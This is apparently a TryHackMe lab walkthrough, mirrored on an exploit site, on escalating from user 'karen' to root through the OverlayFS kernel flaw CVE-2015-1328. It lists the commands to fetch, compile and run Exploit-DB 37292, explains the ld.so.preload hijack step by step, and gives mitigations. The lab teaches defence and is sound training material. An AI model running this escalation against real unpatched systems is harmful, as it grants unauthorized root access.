## https://sploitus.com/exploit?id=66A9BD5C-8EAF-5847-81E4-59FBB8582B08
# CVE-2015-1328
# TryHackMe Walkthrough โ Linux Kernel Privilege Escalation (CVE-2015-1328)
## Objective
The goal of this walkthrough was to escalate privileges from a low-privileged user (`karen`) to `root` by exploiting a vulnerable Linux kernel.
---
# Step 1 โ Initial Enumeration
After connecting to the target machine via SSH:
```bash
ssh karen@
```
I identified the Linux kernel version:
```bash
uname -r
```
Output:
```text
3.13.0-24-generic
```
The machine was running **Ubuntu 14.04** with the kernel **3.13.0-24-generic**.
---
# Step 2 โ Search for Kernel Vulnerabilities
Since Linux privilege escalation often relies on vulnerable kernels, I searched Exploit-DB using SearchSploit:
```bash
searchsploit overlayfs ubuntu 3.13
```
Result:
```text
Linux Kernel 3.13.0 < 3.19 (Ubuntu...) - overlayfs Local Privilege Escalation
37292.c
```
This exploit targets **CVE-2015-1328**, which affects Ubuntu kernels prior to the patched versions.
---
# Step 3 โ Understand the Vulnerability
Before executing any exploit, it is important to understand what it does.
The exploit abuses a flaw in **OverlayFS**, the Linux union filesystem.
The vulnerability exists because OverlayFS incorrectly handles file permissions when mounted inside a user namespace (`CLONE_NEWUSER`).
An unprivileged user can manipulate OverlayFS to create or modify files that should only be writable by root.
The exploit ultimately writes to:
```text
/etc/ld.so.preload
```
This file tells the Linux dynamic loader to load a shared library before every dynamically linked executable.
By forcing the system to load a malicious shared library, the exploit gains code execution as **root**.
---
# Step 4 โ Obtain the Exploit
Using SearchSploit:
```bash
searchsploit -m 37292
```
This copied the exploit locally:
```text
37292.c
```
The exploit was then transferred to the victim machine.
In this walkthrough, it was saved as:
```text
/tmp/ofs.c
```
---
# Step 5 โ Compile the Exploit
Navigate to the directory containing the exploit:
```bash
cd /tmp
```
Compile it using GCC:
```bash
gcc ofs.c -o ofs
```
If the compilation succeeds, GCC produces no output.
Verify the executable exists:
```bash
ls -l
```
Expected:
```text
-rwxr-xr-x ... ofs
```
---
# Step 6 โ Execute the Exploit
Run the executable:
```bash
./ofs
```
The exploit prints messages similar to:
```text
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
```
Finally, it spawns a root shell:
```text
#
```
Verify the privileges:
```bash
id
```
Output:
```text
uid=0(root) gid=0(root)
```
---
# Step 7 โ Retrieve the Flag
With root privileges obtained:
```bash
cat /home/matt/flag1.txt
```
The file could now be read successfully.
---
# How the Exploit Works
The exploit performs several actions internally.
## 1. Creates a User Namespace
```c
unshare(CLONE_NEWUSER);
```
Linux user namespaces allow an unprivileged process to appear as root **inside the namespace**, without being root on the host.
This capability is essential for the attack.
---
## 2. Creates a Mount Namespace
```c
clone(... CLONE_NEWNS ...)
```
A separate mount namespace isolates filesystem changes from the rest of the operating system.
This allows the exploit to mount OverlayFS without affecting the global filesystem.
---
## 3. Mounts OverlayFS
The exploit creates temporary directories:
```text
/tmp/ns_sploit/
โโโ upper/
โโโ work/
โโโ o/
```
It then mounts OverlayFS:
```text
Lower Layer
โ
โผ
OverlayFS
โ
โผ
Upper Layer
```
Due to the kernel vulnerability, OverlayFS incorrectly permits operations that should require root privileges.
---
## 4. Creates `/etc/ld.so.preload`
The exploit renames a writable file inside the OverlayFS mount to:
```text
ld.so.preload
```
After remounting OverlayFS over `/etc`, this file becomes:
```text
/etc/ld.so.preload
```
Normally, only root should be able to create this file.
---
## 5. Builds a Malicious Shared Library
The exploit writes a C source file:
```text
/tmp/ofs-lib.c
```
Then compiles it:
```bash
gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c
```
The resulting shared library overrides the `getuid()` function.
---
## 6. Hijacks the Dynamic Linker
The exploit writes:
```text
/tmp/ofs-lib.so
```
into:
```text
/etc/ld.so.preload
```
Every dynamically linked executable now loads this malicious library before any system library.
---
## 7. Executes `/bin/su`
Finally:
```c
execl("/bin/su", "su", NULL);
```
When `su` starts, the malicious `getuid()` function executes instead of the original.
The library:
- removes `/etc/ld.so.preload`
- deletes the malicious shared library
- calls:
```c
setresuid(0,0,0);
setresgid(0,0,0);
```
- launches:
```bash
/bin/sh
```
The result is an interactive root shell.
---
# Why This Works
The vulnerability is caused by incorrect permission handling in OverlayFS when used inside user namespaces.
An unprivileged user can manipulate OverlayFS to create privileged files such as:
```text
/etc/ld.so.preload
```
Since the dynamic loader trusts this file, arbitrary code is executed as root.
---
# Mitigation
This vulnerability was patched by Ubuntu in updated kernel releases.
Mitigation strategies include:
- Updating the Linux kernel to a patched version.
- Disabling unprivileged user namespaces when not required.
- Restricting OverlayFS usage.
- Applying security updates regularly.
- Monitoring for unauthorized modifications to:
- `/etc/ld.so.preload`
- `/etc/ld.so.cache`
---
# Key Takeaways
- Always enumerate the kernel version during Linux privilege escalation.
- Verify whether the kernel version is vulnerable before attempting exploitation.
- Read and understand exploit code before executing it.
- Kernel exploits can lead directly to root privileges but may also crash the target system.
- In real-world penetration tests, kernel exploitation should only be attempted when explicitly authorized because of the potential impact on system stability.
---
# Commands Used
```bash
# Enumerate kernel version
uname -r
# Search for exploit
searchsploit overlayfs ubuntu 3.13
# Copy exploit locally
searchsploit -m 37292
# Compile exploit
gcc ofs.c -o ofs
# Execute exploit
./ofs
# Verify privileges
id
# Read flag
cat /home/matt/flag1.txt
```